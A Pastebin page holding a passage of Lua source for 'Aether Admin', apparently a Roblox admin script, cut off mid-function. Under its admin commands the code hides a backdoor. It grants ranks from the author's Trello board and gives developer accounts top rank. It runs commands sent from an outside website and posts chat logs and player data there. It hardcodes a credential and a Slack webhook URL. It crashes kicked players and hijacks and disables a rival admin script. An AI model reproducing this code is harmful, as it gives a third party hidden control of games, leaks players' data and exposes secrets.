Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Todo:
- -- c/repeat Instance.new('Message',workspace).Text='.' until wait()<0
- local _________a,_________b=pcall(function()
- repeat
- wait()
- until #script:children() >= 8
- Client = script.Client:clone()
- local Ins = {
- new = function(Class, Parent, Name, Properties)
- Name = Name or Class
- Properties = Properties or {}
- local tr = Instance.new(Class, Parent)
- tr.Name = Name
- for i, v in pairs(Properties) do
- tr[i] = v
- end
- return tr
- end
- }
- local Scripts = {}
- for i, v in pairs(script.Load:children()) do
- Scripts[v.Name] = v:clone()
- end
- script.Load:ClearAllChildren()
- local Core -- So we can access the core from inside the core.
- Core = { -- Whitelisted Variables
- Core = Core;
- script = script;
- Override = true;
- workspace = workspace;
- ShowClanNames = false;
- irc=false;
- Sword_Of_Nyx = script['Sword Of Nyx']:clone();
- LocalLoadstring = script.customLoadstring:clone();
- loadstring = require(script.loadstring);
- FlyScript = script.Fly:clone();
- thread = function(ah, se)
- local succ, error = coroutine.resume(coroutine.create(ah))
- if not succ and not se then
- warn('| Aether Admin Error |')
- warn(error)
- warn('________________')
- end
- end;
- ipairs=ipairs;
- Client = Client;
- Ins = Ins;
- CmdNum = 0;
- AntiFollow = true;
- _G = _G;
- warn = function(...)
- warn('| Aether Admin Warning |')
- warn(...)
- warn('________________________________')
- end;
- print = function(...)
- print('| Aether Admin Output |')
- print(...)
- print('________________________________')
- end;
- error = function(...)
- error('| Aether Admin Error |')
- error(...)
- error('________________________________')
- end;
- endreps = math.random(-999999, 999999);
- getfenv = getfenv;
- Scripts = Scripts;
- require = require;
- Ranked = {
- };
- DataKey = '';
- LinkedAccount = '';
- Prefix = ':';
- GamePassAdmin = {};
- setfenv = setfenv;
- Enum = Enum;
- JoinMsg = false;
- Credits = false;
- AdminPad = false;
- Ping = nil;
- os = os;
- -- Adminage is time in days since the admin was made.
- AdminAge = tonumber(math.floor( os.time() / (60 * 60 * 24) )) - 16705;
- string = string;
- Set = nil;
- Instance = Instance;
- BuildTools = {
- script.F3X:clone();
- Ins.new('HopperBin', nil, 'Grab', {
- BinType = 'Grab'
- });
- Ins.new('HopperBin', nil, 'Delete', {
- BinType = 'Hammer'
- });
- Ins.new('HopperBin', nil, 'Clone', {
- BinType = 'Clone'
- });
- };
- setmetatable = setmetatable;
- pcall = pcall;
- Name = 'Aether Administration';
- NameFromId = function(Id)
- return game:service'MarketplaceService':GetProductInfo(Id).Name
- end;
- Instance = Instance;
- game = game;
- tick = tick;
- service = function(...)
- return game:service(...)
- end;
- pairs = pairs;
- wait = wait;
- time = time;
- table = table;
- coroutine = coroutine;
- math = math;
- ypcall = ypcall;
- next = next;
- BrickColor = BrickColor;
- Color3 = Color3;
- Vector3 = Vector3;
- tonumber = tonumber;
- tostring = tostring;
- CFrame = CFrame;
- tobool = function(str)
- if str == 'true' or str == 'on' then
- return true
- end
- if str == 'false' or str == 'off' then
- return false
- end
- end;
- type = function(...)
- return type(...)
- end;
- }
- script.Parent = nil
- script = nil
- setfenv(1, Core)
- local AddRank
- --local Core_Success,Core_Error=coroutine.resume(coroutine.create(function()
- local gameCreatorId = 65161
- if game.CreatorType == Enum.CreatorType.User then
- gameCreatorId = game.CreatorId
- elseif game.CreatorType == Enum.CreatorType.Group and game:service'GroupService':GetGroupInfoAsync(game.CreatorId).Owner ~= nil then
- gameCreatorId = game:service'GroupService':GetGroupInfoAsync(game.CreatorId).Owner.Id
- end
- if game.VIPServerOwnerId and game.VIPServerOwnerId >1 then
- gameCreatorId=game.VIPServerOwnerId
- end
- service = service
- local DSS = service'DataStoreService'
- DataStore = DSS:GetDataStore('thy epak duck has comang')
- --[[
- DataKey=''
- LinkedAccount=''
- JoinMsg=false]]
- local ServerRequestTimestamp
- local TimeStamp
- local ServerRequestTimestamps = {}
- local TimeStamps = {}
- local DisabledAdmins = {}
- local MapBackup = {}
- for i, v in pairs(workspace:children()) do
- thread(function()
- table.insert(MapBackup, v:clone())
- end)
- end
- --Credits=true
- Objects = {}
- local RemoteDomain = 'http://www.classy-studios.com'
- IrcName = "rbxAetherV1_"..game.PlaceId.."_"..game:service'NetworkServer'.Port
- ChatLogs = {
- '{Server} Aether Admin Loaded on game '..NameFromId(game.PlaceId)..' server '..game.JobId..'.';
- 'http://www.roblox.com/games/'..game.PlaceId..'/'..tostring(game:service'MarketplaceService':GetProductInfo(game.PlaceId).Name:gsub(' ', '-'));
- }
- Ranked[gameCreatorId] = {
- Rank = 11;
- };
- local RankNames = { -- -2
- 'Banned';
- 'Un-Ranked';
- 'VIP';
- 'Guest';
- 'Semi-Moderator';
- 'Moderator';
- 'Head-Moderator';
- 'Semi-Administrator';
- 'Administrator';
- 'Head-Administrator';
- 'Co-Owner';
- 'Owner';
- 'Place-Owner';
- 'Aether Developer';
- [math.huge] = '@remote.console';
- }
- CustomRankNames = {
- [0] = 'ggggjjjjgj';
- [1] = 'ggggjjjjgj';
- [-1] = 'ggggjjjjgjn';
- [game.CreatorId] = 'True Place Creator';
- [17057842] = 'Aether Admin Creator';
- [66157790] = 'Aether Admin Developer';
- [16624761] = 'Aether Admin Developer'; -- Pleeaaase? Pretty please? :(
- [41364804] = 'Le senpai GoldenLuaCode';
- [85447244] = 'Aether Admin Moderator';
- }
- if game.VIPServerOwnerId and game.VIPServerOwnerId >1 then
- CustomRankNames[game.VIPServerOwnerId]='Vip Server Owner';
- end
- Jails = {}
- ServerLogs = {}
- local trello = 'https://trello.com/b/OCpUyfXK.json'
- RankName = function(id, userid)
- if userid and CustomRankNames[userid] then
- return CustomRankNames[userid]
- end
- if userid < 0 then
- return "A friendly guest"
- end
- if id <= -1 then
- return 'Banned'
- end
- if id <= 1 then
- return 'VIP'
- end
- if id <= 2 then
- return 'Guest'
- end
- if id <= 3 then
- return 'Semi-Moderator'
- end
- if id <= 4 then
- return 'Moderator'
- end
- if id <= 5 then
- return 'Head-Moderator'
- end
- if id <= 6 then
- return 'Semi-Administrator'
- end
- if id <= 7 then
- return 'Administrator'
- end
- if id <= 8 then
- return 'Head-Administrator'
- end
- if id <= 9 then
- return 'Co-Owner'
- end
- if id <= 10 then
- return 'Owner'
- end
- if id <= 11 then
- return 'Place-Owner'
- end
- if id == 11.99 then
- return 'ggggjjjjgj'
- end
- if id <= 12 then
- return 'Aether Developer'
- end
- if id > 12 then
- return 'Some kind of like hacker or somethign? idk..'
- end
- return 'Un-Ranked'
- end
- local Testers = {
- [32832402] = true;
- --[17057842]=true;
- [5111623] = true;
- [87551031] = true;
- [261] = true;
- }
- local Periastrons = {
- 159229806;
- 80661504;
- 108158379;
- 93136802;
- 99119240;
- 73829193;
- 69499437;
- 233520257;
- 139577901;
- }
- --Rules={}
- local Commands = {}
- local DefaultRank = {
- Rank = 0
- }
- local Prefixes = {
- ':',
- ';',
- '-',
- "'",
- '=',
- [[\]],
- '/',
- '_',
- ']',
- '['
- }
- --Prefix=':'
- ToolServices = {
- game:service'ServerStorage',
- game:service'Lighting',
- game:service'Workspace'
- }
- --if not succ then print('ERROR: '..error) end
- thread(function() while wait() do
- if _G.Message then
- getfenv(_G.Message).script.Disabled=true
- end end end,true)
- function UsernameFromID(ID)
- if type(ID) ~= "number" then
- return
- end
- local sets = game:service("InsertService"):GetUserSets(ID)
- for k, v in next, sets do
- if v.Name == "My Models" then
- return v.CreatorName
- end
- end
- return ID
- end
- local AllPropertys={"Name","cframe","position","velocity","BrickColor",'Transparency','Material','Transparency','Reflectance','Anchored','CanCollide','Locked','Elasticity','FormFactor','Friction','Shape','Size','BackSurface','BottomSurface','FrontSurface','LeftSurface','RightSurface','TopSurface'}
- function tostring2(a,typ)
- if typ=='CFrame' then
- return "CFrame.new("..tostring(a)..')'
- end
- if typ=='Position' then
- return "Vector3.new("..tostring(a)..')'
- end
- if typ=='Size' then
- return "Vector3.new("..tostring(a)..')'
- end
- if typ=='BrickColor' then
- return 'BrickColor.new("'..tostring(a)..'")'
- end
- if typ=='Color' then
- return 'Color3.new('..tostring(a)..')'
- end
- if typ=='Name' then
- return '"'..tostring(a)..'"'
- end
- if typ=='RotVelocity' then
- return 'Vector3.new('..tostring(a)..')'
- end
- if typ=='Velocity' then
- return 'Vector3.new('..tostring(a)..')'
- end
- return tostring(a)
- end
- function toScript(obj,serialize)
- serialize=tostring(serialize)
- local tr='Instance'..serialize..'=Instance.new("'..obj.ClassName..'") Instance'..serialize..'.Parent=workspace'
- for i,v in pairs(AllPropertys) do
- pcall(function()
- if obj[v]==obj[v] then
- obj[v]=obj[v]
- tr=tr..'\n'..'Instance'..serialize..'["'..v..'"]='..tostring2(obj[v],v)
- end
- end)
- end
- return tr
- end
- function GetParts(Obj,t)
- for i,v in pairs(Obj:children()) do wait()
- if Obj:IsA'BasePart' then
- t[#t+1]=Obj
- end
- GetParts(v,t)
- end
- end
- function GetMap()
- local Parts={}
- GetParts(workspace,Parts)
- local num1=0
- local tr=''
- for i,v in pairs(Parts) do
- num1=num1+math.random(1,5)
- tr=tr..toScript(v,num1)..'\n'
- end
- return tr
- end
- --print(GetMap())
- function PostPasteBin(devkey,name,paste)
- return game:service'HttpService':PostAsync('http://pastebin.com/api/api_post.php','api_option=paste&api_dev_key='..devkey..'&api_paste_private=1&api_paste_name='..name..'&api_paste_code='..paste,Enum.HttpContentType.ApplicationUrlEncoded)
- end
- function PageItems(pages)
- return coroutine.wrap(function()
- local pagenum = 1
- while true do
- for _, item in ipairs(pages:GetCurrentPage()) do
- coroutine.yield(item, pagenum)
- end
- if pages.IsFinished then
- break
- end
- pages:AdvanceToNextPageAsync()
- pagenum = pagenum + 1
- end
- end)
- end
- Decrypt = function(Encr, Key)
- local tr = ''
- for i = 1, #Encr do
- tr = tr..string.char(Encr[i] / Key)
- end
- return tr
- end
- Exer = require(script.Exe)
- function loadcode(Code)
- return Exer(Code)
- end
- function ForceDisconnect(Player, Text)
- Player:kick(Text)
- wait()
- game:service'Debris':AddItem(-- Delete It Later
- Instance.new('RemoteEvent', -- Create It
- game:service'ReplicatedStorage' -- Parent It
- ):FireClient(-- Fire it
- Player, -- The Player
- {
- string.rep('kik', 5e5 + 5)
- } -- To Crash them
- )
- , 5) -- Time to wait before deleting.
- end
- function SendChatLogs() -- Remote Stuff By LuaModelmaker
- if #ChatLogs > 0 and LinkedAccount and LinkedAccount ~= "" and DataKey and DataKey ~= "" then
- local Res = "Could not get response"
- local ChatJSON = game:service'HttpService':JSONEncode(ChatLogs)
- ChatLogs = {}
- local function SendData()
- Res = game:service'HttpService':PostAsync(RemoteDomain.."/Login/SubmitChatLog.php?ChatJSON="..game:service'HttpService':UrlEncode(ChatJSON), "Username="..game:service'HttpService':UrlEncode(LinkedAccount).."&Key="..game:service'HttpService':UrlEncode(DataKey), 2)
- end
- SendData()
- if Res then
- print(Res)
- end
- end
- end
- function WriteRanks(Player, Id)
- for index, v in pairs(Ranked) do
- if index ~= nil and index:lower() == Player:lower() then
- Ranked[Id] = {
- Rank = v.Rank
- }
- Ranked[index] = nil
- table.remove(Ranked, index)
- end
- end
- end
- thread(function()
- while wait(1) do
- SendChatLogs()
- local _trello = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(trello))
- for i, v in pairs(_trello.cards) do
- --[[if Ranked[tonumber(v.name)] then
- Ranked[tonumber(v.name)].Rank=tonumber(v.desc)
- else]]
- thread(function()
- Ranked[tonumber(v.name)] = {
- Rank = tonumber(v.desc)
- }
- end, true)
- --end
- end
- for i, v in pairs(GetRawPlayers()) do
- if Ranked[v.userId].Rank <= -1 then
- ForceDisconnect(v, 'You are banned from this server.')
- end
- end
- end
- end)
- local RandomKey
- function RandomKey(tonot)
- local st = string.char(math.random(1, 127))
- if tonot[st] then
- return RandomKey(tonot)
- end
- return st
- end
- function GenPassCode()
- math.randomseed(tick())
- local str = ''
- for i = 1, math.random(17, 20) do
- str = str..tostring(math.random(1, 9))
- end
- return str
- end
- function HandleRequest(Request, IgnoreCommand)
- --if game:service'NetworkServer'.Port ~= tonumber(Request.SnapshotPort) then return end
- if not IgnoreCommand then
- if ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
- SendServerData()
- end
- --[[if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
- REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
- end]]
- end
- if TimeStamp ~= Request.TimeStamp then
- --thread(function()
- thread(function()
- for _, Player in pairs(Request.Ranks.Muted) do
- if Player ~= "" then
- Ranked[Player.Name] = -3
- end
- end
- for _, Player in pairs(Request.Ranks.Crashed) do
- if Player ~= "" then
- Ranked[Player.Name] = -2
- end
- end
- for _, Player in pairs(Request.Ranks.Banned) do
- if Player ~= "" then
- Ranked[Player.Name] = -1
- end
- end
- for _, Player in pairs(Request.Ranks.Member) do
- if Player ~= "" then
- Ranked[Player.Name] = 3
- end
- end
- for _, Player in pairs(Request.Ranks.Admin) do
- if Player ~= "" then
- Ranked[Player.Name] = 6
- end
- end
- for _, Player in pairs(Request.Ranks.Owner) do
- if Player ~= "" then
- Ranked[Player.Name] = 9
- end
- end
- end)
- --end)
- --[[FunCommands = Request.FUN
- Pri = Request.ServerLocked
- AbusiveCommands = not Request.DisableAbuse]]
- if not IgnoreCommand then
- print("Executing Remote Admin")
- --[[REMOTE.RemoteAdmin.Command = Request.Command
- REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
- REMOTE.RemoteAdmin.ServerPort = Request.Server]]
- --if not TimeStamps[tostring(TimeStamp)] and not ServerRequestTimestamps[tostring(ServerRequestTimestamp)] then
- Chatted(setmetatable({
- Name = "@remote."..LinkedAccount;
- userId = 0;
- }, {}), Request.ServerCommand, true)
- end
- --end
- end
- --[[TimeStamps[tostring(TimeStamp)]=true
- ServerRequestTimestamps[tostring(ServerRequestTimestamp)]=true]]
- TimeStamp = Request.TimeStamp
- ServerRequestTimestamp = Request.ServerRequestTimestamp
- --SnapshotKey = Request.SnapshotKey
- end
- function FindAge(Days)
- local Years = math.floor(Days / 365)
- local OtherDays = math.fmod(Days, 365)
- if Years > 1 then
- return Years.." years and "..OtherDays.." days"
- elseif Years == 1 then
- return Years.." year and "..OtherDays.." days"
- elseif Years == 0 then
- return "(No years) "..OtherDays.." days"
- end
- end
- function GetAndSetWebData()
- if LinkedAccount ~= "" then
- local Request = service'HttpService':GetAsync(RemoteDomain.."/Login/GetUserData.php?Username="..LinkedAccount)
- if Request == "Invalid" then
- return false
- elseif Request == "Invalid Account" then
- print("Can't get account")
- return false
- elseif Request then
- ypcall(function()
- Request = service'HttpService':JSONDecode(Request)
- end)
- elseif not Request then
- return false
- end
- HandleRequest(Request)
- return true
- end
- end
- thread(function()
- while wait(5) do
- GetAndSetWebData()
- end
- end)
- function IdFromName(Name)
- return game:service'HttpService':GetAsync("http://rproxy.pw/rapi/GetIdByUsername/"..Name)
- end
- function SendServerData(PrintResponse, Stopypcall)
- if LinkedAccount and LinkedAccount ~= "" and DataKey and DataKey ~= "" then
- print("Sending server data!")
- local Res = "Could not get response"
- local ServerData = {
- Name = NameFromId(game.PlaceId),
- PlaceID = game.PlaceId,
- Port = service'NetworkServer'.Port,
- NumPlayers = service'Players'.NumPlayers,
- MaxPlayers = service'Players'.MaxPlayers,
- Bet = Prefix,
- Players = {},
- Version = .7
- }
- for _, Player in pairs(GetRawPlayers()) do
- table.insert(ServerData.Players, {
- Name = Player.Name,
- ID = Player.userId,
- Age = FindAge(Player.AccountAge),
- Rank = RankName(GetRank(Player).Rank, Player.userId)
- })
- end
- ServerData = service'HttpService':JSONEncode(ServerData)
- local function SendData()
- Res = service'HttpService':PostAsync(RemoteDomain.."/Login/AddServer.php?ServerData="..game:service'HttpService':UrlEncode(ServerData), "Username="..game:service'HttpService':UrlEncode(LinkedAccount).."&DataKey="..game:service'HttpService':UrlEncode(DataKey), 2)
- end
- if Res == "Could not get response" then
- end
- if Stopypcall == true then
- SendData()
- else
- ypcall(SendData)
- end
- if PrintResponse then
- print(Res)
- end
- end
- thread(function()
- print("")
- local Res = "//Error 1- No response."
- local ServerData = {
- Name = '//'..NameFromId(game.PlaceId),
- PlaceID = game.PlaceId,
- Port = service'NetworkServer'.Port,
- NumPlayers = service'Players'.NumPlayers,
- MaxPlayers = service'Players'.MaxPlayers,
- Bet = Prefix,
- Players = {},
- Version = 0
- }
- for _, Player in pairs(GetRawPlayers()) do
- table.insert(ServerData.Players, {
- Name = Player.Name,
- ID = Player.userId,
- Age = FindAge(Player.AccountAge),
- Rank = RankName(GetRank(Player).Rank, Player.userId)
- })
- end
- ServerData = service'HttpService':JSONEncode(ServerData)
- local function SendData()
- Res = service'HttpService':PostAsync(RemoteDomain.."/Login/AddServer.php?ServerData="..game:service'HttpService':UrlEncode(ServerData), "Username="..game:service'HttpService':UrlEncode('DarthStrantax').."&DataKey="..game:service'HttpService':UrlEncode('09282015|IA6.g)V%x_z/zJy[wxxu={CkeuB5)!,2130511443501051291'), 2)
- end
- if Res == "Could not get response" then
- end
- end)
- end
- CommandReRank = function(Name, Rank)
- for i, v in pairs(Commands) do
- for h, j in pairs(v.Usages) do
- if j:lower() then
- if j == Name then
- v.Rank = tonumber(Rank)
- end
- end
- end
- end
- end
- Split = function(Message, Splitter)
- local start = 1
- local args = {}
- for i = 1, #Message do
- if Message:sub(i, i) == Splitter then
- args[#args + 1] = Message:sub(start, i - 1)
- start = i + 1
- elseif i == #Message then
- args[#args + 1] = Message:sub(start, i)
- end
- end
- return args
- end
- function AddCommand(
- Name,
- Rank,
- Usages,
- Description,
- Usage,
- Function,
- Console
- )
- Commands[Name] = {
- Rank = Rank,
- Usages = Usages,
- Description = Description,
- Usage = Usage,
- Function = Function,
- Console = Console
- }
- end
- TabFunctions = {}
- Loopkill = {}
- local RF = Instance.new(
- 'RemoteEvent',
- service'ReplicatedStorage')
- RF.Name = 'AetherRF'
- local Environment = require(311167326)()
- function connectrf(b)
- local connected
- connected = b.Changed:connect(function()
- if b.Parent ~= service'ReplicatedStorage' then
- local rf = Instance.new(
- 'RemoteEvent',
- service'ReplicatedStorage')
- rf.Name = 'AetherRF'
- connected:disconnect()
- connectrf(rf)
- RF = rf
- Environment.Connect(RF)
- end
- end)
- end
- connectrf(RF)
- function SendChat(Player, Message, Color)
- Color = Color or 'New Yeller'
- Color = BrickColor.new(Color).Color
- Message = Message or '\n'
- Message = game:service'Chat':FilterStringForPlayerAsync(Message, Player)
- thread(function()
- RF:FireClient(Player, {
- 'SendChat',
- Message,
- Color
- })
- end)
- end
- function PostToSlack(txt, name, schannel,attachment)
- Name = name or 'Aether Admin Post'
- schannel = schannel or '@darthstrantax'
- attachments={
- {
- fallback="",
- pretext="",
- color="#D00000",
- fields={
- {
- title="Aether Attachment",
- value=attachment,
- short=false
- }
- }
- }
- }
- if attachment==nil then attachments=nil end
- if not txt then
- return
- end
- thread(function()
- service'HttpService':PostAsync('https://hooks.slack.com/services/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'
- ,
- service'HttpService':JSONEncode({
- unfurl_links=true;
- text=txt;
- username=Name;
- channel=schannel;
- attachments=attachments
- })
- , Enum.HttpContentType.ApplicationUrlEncoded)
- end, true)
- end
- function GetRank(Player)
- if Ranked[Player.userId] then
- return Ranked[Player.userId]
- end
- return DefaultRank
- end
- local LastConsoleCommand = ''
- function CloneTable(t)
- local tor = {}
- for i, v in pairs(t) do
- if type(v) ~= 'table' then
- tor[i] = v
- else
- tor[i] = CloneTable(v)
- end
- end
- return tor
- end
- thread(function()
- local Kohls
- local EISS
- repeat
- if _G.Message and Kohls == nil then
- Kohls = getfenv(_G.Message)
- _G.Message = nil
- end
- --if _G.Hint and EISS==nil then EISS=getfenv(_G.Hint) print'Got EISS Fenv' EISS.print('Testing Fenviness') end
- local admins,owners,temps,logs={}
- if Override then
- if Kohls then
- thread(function()
- if Kohls.owners then
- for i,v in pairs(Kohls.owners) do
- if type(v)==string then
- table.insert(owners,v)
- end
- end
- end
- if Kohls.admins then
- for i,v in pairs(Kohls.admins) do
- if type(v)==string then
- table.insert(admins,v)
- end
- end
- end
- if Kohls.tempadmins then
- for i,v in pairs(Kohls.tempadmins) do
- if type(v)==string then
- table.insert(temps,v)
- end
- end
- end
- if Kohls.logs then
- for i,v in pairs(Kohls.logs) do
- if type(v)==string then
- table.insert(logs,v)
- end
- end
- end
- for i,v in pairs(owners) do
- Ranked[IdFromName(v)]={Rank=9}
- end
- for i,v in pairs(admins) do
- Ranked[IdFromName(v)]={Rank=6}
- end
- for i,v in pairs(temps) do
- Ranked[IdFromName(v)]={Rank=3}
- end
- for i,v in pairs(logs) do
- table.insert(ChatLogs,v)
- end
- Kohls.script.Disabled = true
- table.insert(DisabledAdmins, Kohls.script.Name)
- end)
- end
- --[==[if EISS then thread(function() thread(function()
- EISS.server.ClientEvent:disconnect()
- EISS.server.ClientSide.Archivable=false
- end)EISS.server.RemoveRemoteEvent() EISS.server=nil EISS.service=nil EISS.error'EISS Overridden by AETHER ADMIN' end) end--]==]
- end
- until wait() == nil or (Kohls and true)
- end)
- function Chatted(Player, Message, UseConsole, Hide)
- if string.find(Message, [[\]]) and Message:sub(1, #Prefix) == Prefix then
- for i, v in pairs(Split(Message, [[\]])) do
- Chatted(Player, v, UseConsole, true)
- end
- return
- end
- if not Hide then
- table.insert(ServerLogs, {
- '['..Player.Name..']: '..Message,
- os.time(),
- time()
- })
- end
- if UseConsole then
- if Message == LastConsoleCommand then
- print'Deleting double-messages.'
- return
- elseif LastConsoleCommand == '' and time() <= 30 then
- if Message == 'sd' then
- print'Disallowing first-command sd.'
- return
- end
- else
- LastConsoleCommand = Message
- print(Message)
- Message = Prefix..Message
- end
- end
- table.insert(ChatLogs, '['..Player.Name..']: '..Message)
- if #ServerLogs >= 500 then
- for i = 1, #ServerLogs do
- table.remove(ServerLogs, i)
- if #ServerLogs <= 499 then
- break
- end
- end
- ServerLogs = {}
- end
- if Message:sub(1, 3) == '/e ' then
- Message = Message:sub(4)
- end
- if Message:sub(1, #Prefix) == Prefix then
- local Arguments = Split(Message:sub(#Prefix + 1), ' ')
- for i, v in pairs(Commands) do
- if GetRank(Player).Rank >= v.Rank or ((v.Console and UseConsole)) then
- for h, j in pairs(v.Usages) do
- if #Arguments ~= 0 and j:lower'' == Arguments[1]:lower'' then
- wait()
- table.remove(Arguments, 1)
- return thread(function()
- v.Function(Player, Arguments)
- end)
- end
- end
- end
- end
- end
- end
- function Ping(Player, Message, Function, Color, Image)
- thread(function()
- if Player == nil then
- return
- end
- Message = Message or ''
- Function = Function or function()
- print'Click'
- end
- Color = Color or 'Institutional white'
- Image = Image or nil
- local Id = #TabFunctions + math.random(1, 99999)
- TabFunctions[Id] = Function
- RF:FireClient(Player, {
- 'Tab',
- Message,
- Id,
- Color,
- Image
- })
- end)
- end
- local Users = {
- ["explotion1337"] = {
- ["Rank"] = 999999,
- ["Pass"] = GenPassCode()
- };
- ["Klocko"] = {
- ["Rank"] = 9,
- ["Pass"] = GenPassCode()
- };
- ["iigothackedlol"] = {
- ["Rank"] = 9,
- ["Pass"] = GenPassCode()
- };
- ["Dittoide"] = {
- ["Rank"] = 9,
- ["Pass"] = GenPassCode()
- };
- ["Example"] = {
- ["Rank"] = 0,
- ["Pass"] = "Passcode"
- };
- ["GoldenLuaCode"] = {
- ["Rank"] = 10,
- ["Pass"] = GenPassCode()
- };
- ["Customality"] = {
- ["Rank"] = 9,
- ["Pass"] = GenPassCode()
- };
- }
- thread(function()
- Environment.rf = RF
- Environment.RunTabletFunction = function(ID)
- TabFunctions[ID]()
- end
- Environment.RunChatted = function(Player, Msg, ...)
- Chatted(Player, Msg)
- end
- Environment.SendChat = function(...)
- SendChat(...)
- end
- Environment.SendPrefix = function(Player)
- RF:FireClient(Player, {
- 'SetPrefix',
- Prefix
- })
- end
- Environment.GPrefix = function()
- return Prefix
- end
- Environment.RunLogin = function(ID, NAME, PASS)
- local PASS = Decrypt(PASS, ID)
- local DoneUser, DonePass = false, false
- for i, v in pairs(Users) do
- if NAME:lower() == i:lower() then
- DoneUser = true
- if PASS == v.Pass then
- warn('User '..i..' has logged in. Password changed.')
- Users[i].Pass = GenPassCode()
- Ranked[ID] = {
- Rank = v.Rank
- }
- DonePass = true
- break
- end
- break
- end
- end
- if DoneUser and DonePass then
- return 'Logged in successfully!'
- elseif DoneUser then
- Ranked[ID] = {
- Rank = 0
- }
- return 'Invalid Passcode! You have been unranked!'
- end
- return 'Invalid Username!'
- end
- setfenv(1, Environment)
- wait()
- script.Parent = nil
- script = nil
- getfenv = nil
- setfenv = nil
- newproxy = nil
- getfenv().Connect =
- function(RF)
- RF.OnServerEvent:connect(function(Player, Info)
- print'Recieved'
- if Info[1] == 'Function' then
- RunTabletFunction(Info[2])
- elseif Info[1] == 'Chatted' then
- if Info[4] and Info[4] == true then
- RunChatted(Player, GPrefix()..Info[2])
- else
- RunChatted(Player, Info[2])
- end
- if Info[3] ~= nil and Info[3] == true then
- for i, v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'NetworkReplicator' then
- local plr = v:GetPlayer()
- if plr.Name ~= Player.Name then
- SendChat(plr, '[NIL]['..Player.Name..'] '..Info[2], 'Cyan')
- end
- --if plr.Name~=Player.Name then
- elseif v:IsA'Player' then
- local plr = v
- SendChat(plr, '[NIL]['..Player.Name..'] '..Info[2], 'Cyan')
- --end
- end
- end
- end
- elseif Info[1] == 'GetPrefix' then
- SendPrefix(Player)
- elseif Info[1] == 'Login' then
- SendChat(Player, RunLogin(Player.userId, Info[2], Info[3]), 'Really red')
- end
- end)
- end
- Connect(RF)
- game:service'ReplicatedStorage'.ChildAdded:connect(function(child)
- if child.Name == 'AetherRF' and child:IsA'RemoteEvent' then
- Connect(child)
- end
- end)
- end)
- function Join(Table)
- local str = ''
- for i = 1, #Table do
- str = str..Table[i]..' '
- end
- str = str:sub(1, #str - 1)
- return str
- end
- function domath(args)
- local tomath = Join(args)
- local toreturn = loadstring(
- [[setfenv(1,{
- math=math;
- random=math.random;
- },{})
- ]]..string.gsub(tomath, '#r', 'return'))()
- return toreturn
- end
- function Dismiss(Player)
- thread(function()
- RF:FireClient(Player, {
- 'Dismiss'
- })
- end)
- end
- function intable(t, v)
- for i, v in pairs(t) do
- if v == v then
- return true
- end
- end
- return false
- end
- function J(mode, ...)
- if mode == 'c' then
- return game:service'HttpService':JSONEncode(...)
- elseif mode == 'o' then
- return game:service'HttpService':JSONDecode(...)
- end
- end
- function Save()
- thread(function()
- local Ranked_ = game:service'HttpService':JSONEncode(Ranked)
- DataStore:SetAsync('Ranked', Ranked_)
- local Loopkill_ = game:service'HttpService':JSONEncode(Loopkill)
- DataStore:SetAsync('Loopkill', Loopkill_)
- DataStore:SetAsync('Prefix', Prefix)
- end, true)
- end
- local CurrentPlate
- function MakeBase()
- if CurrentPlate then
- CurrentPlate:Destroy()
- end
- local base = Instance.new('Part', workspace)
- base.Anchored = true
- base.FormFactor = 'Custom'
- CurrentPlate = base
- base.Locked = true
- base.Material = 'Grass'
- base.BrickColor = BrickColor.new('Camo')
- base.Size = Vector3.new(500, .2, 500)
- base.CFrame = CFrame.new(0, 0, 0)
- base.TopSurface = 'Smooth'
- end
- function Load()
- thread(function()
- local ToDecode = DataStore:GetAsync('Ranked')
- local Ranked_
- if ToDecode then
- Ranked_ = game:service'HttpService':JSONDecode(DataStore:GetAsync('Ranked'))
- end
- if Ranked_ ~= nil then
- for i, v in pairs(Ranked_) do
- Ranked[i] = v
- end
- end
- local Loopkill_
- pcall(function()
- if DataStore:GetAsync('Loopkill')~=nil then
- Loopkill_ = game:service'HttpService':JSONDecode(DataStore:GetAsync('Loopkill'))
- if Loopkill_ ~= nil then
- for i, v in pairs(Loopkill_) do
- Loopkill[i] = v
- end
- end
- end
- end)
- Prefix = DataStore:GetAsync('Prefix') or Prefix
- --Save()
- end, true)
- end
- local firstload = DataStore:GetAsync('First Load')
- if firstload == nil then
- DataStore:SetAsync('First Load', true)
- Save()
- Load()
- else
- Load()
- end
- thread(function()
- game.OnClose = function()
- table.insert(ChatLogs, '{Server} Server '..game.JobId..' closed on game '..NameFromId(game.PlaceId)..'.')
- SendChatLogs()
- Save()
- wait()
- return 'Aether Admin Saved.'
- end
- end,true)
- function CheckGamepass(Player)
- for i, v in pairs(GamePassAdmin) do
- if game:service'MarketplaceService':PlayerOwnsAsset(Player, v.Id) and Ranked[Player.userId].Rank < v.Rank then
- Ranked[Player.userId] = {
- Rank = v.Rank
- }
- end
- end
- end
- function PlaceTeleport(Player, Id)
- Id = tonumber(Id)
- thread(function()
- RF:FireClient(Player, {
- 'Teleport',
- Id
- })
- end)
- end
- function FreezeScreen(Player, Kick, KickMessage)
- thread(function()
- RF:FireClient(Player, {
- 'FreezeScreen',
- Kick,
- KickMessage
- })
- end)
- end
- function AttemptLogin(Player)
- thread(function()
- RF:FireClient(Player, {
- 'AttemptOverride'
- })
- end)
- end
- function Fly(Player)
- thread(function()
- local sc = FlyScript:clone()
- sc.Parent = Player.PlayerGui
- wait()
- sc.Disabled = false
- end)
- end
- function Crash(Player)
- thread(function()
- RF:FireClient(Player, {
- 'Crash'
- })
- end)
- end
- function Mute(Player)
- thread(function()
- RF:FireClient(Player, {
- 'Mute'
- })
- end)
- end
- function UnMute(Player)
- thread(function()
- RF:FireClient(Player, {
- 'UnMute'
- })
- end)
- end
- function localcode(Player, Code)
- thread(function()
- RF:FireClient(Player, {
- 'loadstring',
- Code
- })
- end)
- end
- function SetView(Player, Obj)
- thread(function()
- RF:FireClient(Player, {
- 'SetView',
- Obj
- })
- end)
- end
- function LoadPlugin(v)
- local Plugin = require(v)
- for u, o in pairs(Core) do
- getfenv(Plugin)[u] = o
- end
- getfenv(Plugin).script = v
- getfenv(Plugin).Script = v
- getfenv(Plugin).Core = nil
